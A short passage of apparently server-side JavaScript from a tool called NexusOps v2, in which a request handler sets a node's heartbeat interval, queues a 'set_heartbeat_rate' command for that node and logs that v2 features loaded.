node.heartbeatInterval = req.body && req.body.slow ? 5 : 1;
|
|
if (!commandQueues.has(nodeId)) commandQueues.set(nodeId, []);
|
|
commandQueues.get(nodeId).push({
|
|
id: `poll-${Date.now()}`,
|
|
actionType: 'set_heartbeat_rate',
|
|
payload: { interval: node.heartbeatInterval },
|
|
command: `set_heartbeat_rate ${node.heartbeatInterval}s`,
|
|
createdAt: Date.now()
|
|
});
|
|
broadcastState();
|
|
res.json({ success: true, interval: node.heartbeatInterval });
|
|
});
|
|
|
|
console.log('[v2] NexusOps v2 additions loaded: live console, schedules, groups, alerts');
|